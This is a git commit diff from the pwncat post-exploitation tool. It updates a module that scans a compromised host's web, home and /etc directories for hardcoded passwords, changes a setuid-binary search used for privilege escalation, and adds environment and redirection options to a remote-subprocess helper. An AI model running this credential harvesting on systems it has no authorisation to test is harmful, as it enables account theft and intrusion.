1
0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-27 19:04:15 +01:00

Updated password enumeration

This commit is contained in:
Caleb Stewart 2020-06-04 19:35:57 -04:00
parent 528088be77
commit bbf49e4c72
3 changed files with 83 additions and 40 deletions

View File

@ -50,6 +50,8 @@ def enumerate() -> Generator[FactData, None, None]:
# The locations we will search in for passwords
locations = ["/var/www", "$HOME", "/opt", "/etc"]
# Known locations which match this search but don't contain useful entries
blacklist = ["openssl.cnf", "libuser.conf"]
# The types of files which are "code". This means that we only recognize the
# actual password if it is a literal value (enclosed in single or double quotes)
code_types = [".c", ".php", ".py", ".sh", ".pl", ".js", ".ini", ".json"]
@ -71,46 +73,51 @@ def enumerate() -> Generator[FactData, None, None]:
password = None
# Check for simple assignment
match = re.search(r"password\s*=(.*)", content, re.IGNORECASE)
if match is not None:
password = match.group(1).strip()
# Ensure this file isn't in our blacklist
# We will still report it but it won't produce actionable passwords
# for privesc because the blacklist files have a high likelihood of
# false positives.
if os.path.basename(path) not in blacklist:
# Check for simple assignment
match = re.search(r"password\s*=(.*)", content, re.IGNORECASE)
if match is not None:
password = match.group(1).strip()
# Check for dictionary in python with double quotes
match = re.search(r"password[\"']\s*:(.*)", content, re.IGNORECASE)
if match is not None:
password = match.group(1).strip()
# Check for dictionary in python with double quotes
match = re.search(r"password[\"']\s*:(.*)", content, re.IGNORECASE)
if match is not None:
password = match.group(1).strip()
# Check for dictionary is perl
match = re.search(r"password[\"']?\s+=>(.*)", content, re.IGNORECASE)
if match is not None:
password = match.group(1).strip()
# Check for dictionary is perl
match = re.search(r"password[\"']?\s+=>(.*)", content, re.IGNORECASE)
if match is not None:
password = match.group(1).strip()
# Don't mark empty passwords
if password is not None and password == "":
password = None
if password is not None:
_, extension = os.path.splitext(path)
# Ensure that this is a constant string. For code file types,
# this is normally indicated by the string being surrounded by
# either double or single quotes.
if extension in code_types:
if password[-1] == ";":
password = password[:-1]
if password[0] == '"' and password[-1] == '"':
password = password.strip('"')
elif password[0] == "'" and password[-1] == "'":
password = password.strip("'")
else:
# This wasn't assigned to a constant, it's not helpful to us
password = None
# Empty quotes? :(
if password == "":
# Don't mark empty passwords
if password is not None and password == "":
password = None
if password is not None:
_, extension = os.path.splitext(path)
# Ensure that this is a constant string. For code file types,
# this is normally indicated by the string being surrounded by
# either double or single quotes.
if extension in code_types:
if password[-1] == ";":
password = password[:-1]
if password[0] == '"' and password[-1] == '"':
password = password.strip('"')
elif password[0] == "'" and password[-1] == "'":
password = password.strip("'")
else:
# This wasn't assigned to a constant, it's not helpful to us
password = None
# Empty quotes? :(
if password == "":
password = None
# This was a match for the search. We may have extracted a
# password. Either way, log it.
yield Password(path, password, lineno, ":".join(line), [])

View File

@ -45,7 +45,10 @@ def enumerate() -> Generator[Binary, None, None]:
# Spawn a find command to locate the setuid binaries
with pwncat.victim.subprocess(
"find / -perm -4000 -printf '%U %p\\n' 2>/dev/null", mode="r", no_job=True
["find", "/", "-perm", "-4000", "-printf", "%U %p\\n"],
stderr="/dev/null",
mode="r",
no_job=True,
) as stream:
for path in stream:
# Parse out owner ID and path

View File

@ -1030,6 +1030,9 @@ class Victim:
exit_cmd: str = None,
no_job=False,
name: str = None,
env: Dict[str, str] = None,
stdout: str = None,
stderr: str = None,
) -> Union[io.BufferedRWPair, io.BufferedReader]:
"""
Start a process on the remote host and return a file-like object
@ -1053,11 +1056,41 @@ class Victim:
delimeter.
:param no_job: whether to run as a sub-job in the shell (only used for "r" mode)
:param name: the name assigned to the output file object
:param env: environment variables to set for this command
:param stdout: a string specifying the location to redirect standard out (or None)
:param stderr: a string specifying where to redirect stderr (or None)
:return: Union[BufferedRWPair, BufferedReader]
"""
# Join the command if it was supplied as a list
if isinstance(cmd, list):
cmd = shlex.join(cmd)
if self.which(cmd[0]) is not None:
# We don't want to prevent things like aliases from working
# but if the given command exists in our database, replace
# it with the path retrieved from which.
cmd[0] = self.which(cmd[0])
cmd = util.join(cmd)
# Add environment to the beginning of the command if requested
if env is not None:
cmd = (
" ".join(
[
f"{util.quote(name)}={util.quote(value)}"
for name, value in env.items()
]
)
+ cmd
)
# Redirect stdout, this is useful when the command
# is passed as a list vice a command string
if stdout is not None:
cmd += f" >{stdout}"
# Redirect stderr for the same reason as above
if stderr is not None:
cmd += f" 2>{stderr}"
for c in mode:
if c not in "rwb":
@ -1241,7 +1274,9 @@ class Victim:
if util.Access.EXECUTE not in access:
raise PermissionError
with self.subprocess("ls --color=never --all -1", "r") as pipe:
with self.subprocess(
["ls", "--color=never", "--all", "-1"], stderr="/dev/null", mode="r"
) as pipe:
for line in pipe:
line = line.strip().decode("utf-8")
yield line
@ -1368,8 +1403,6 @@ class Victim:
if method.stream is Stream.RAW:
sub_mode += "b"
print("payload", payload)
# Run the payload on the remote host.
pipe = self.subprocess(
payload,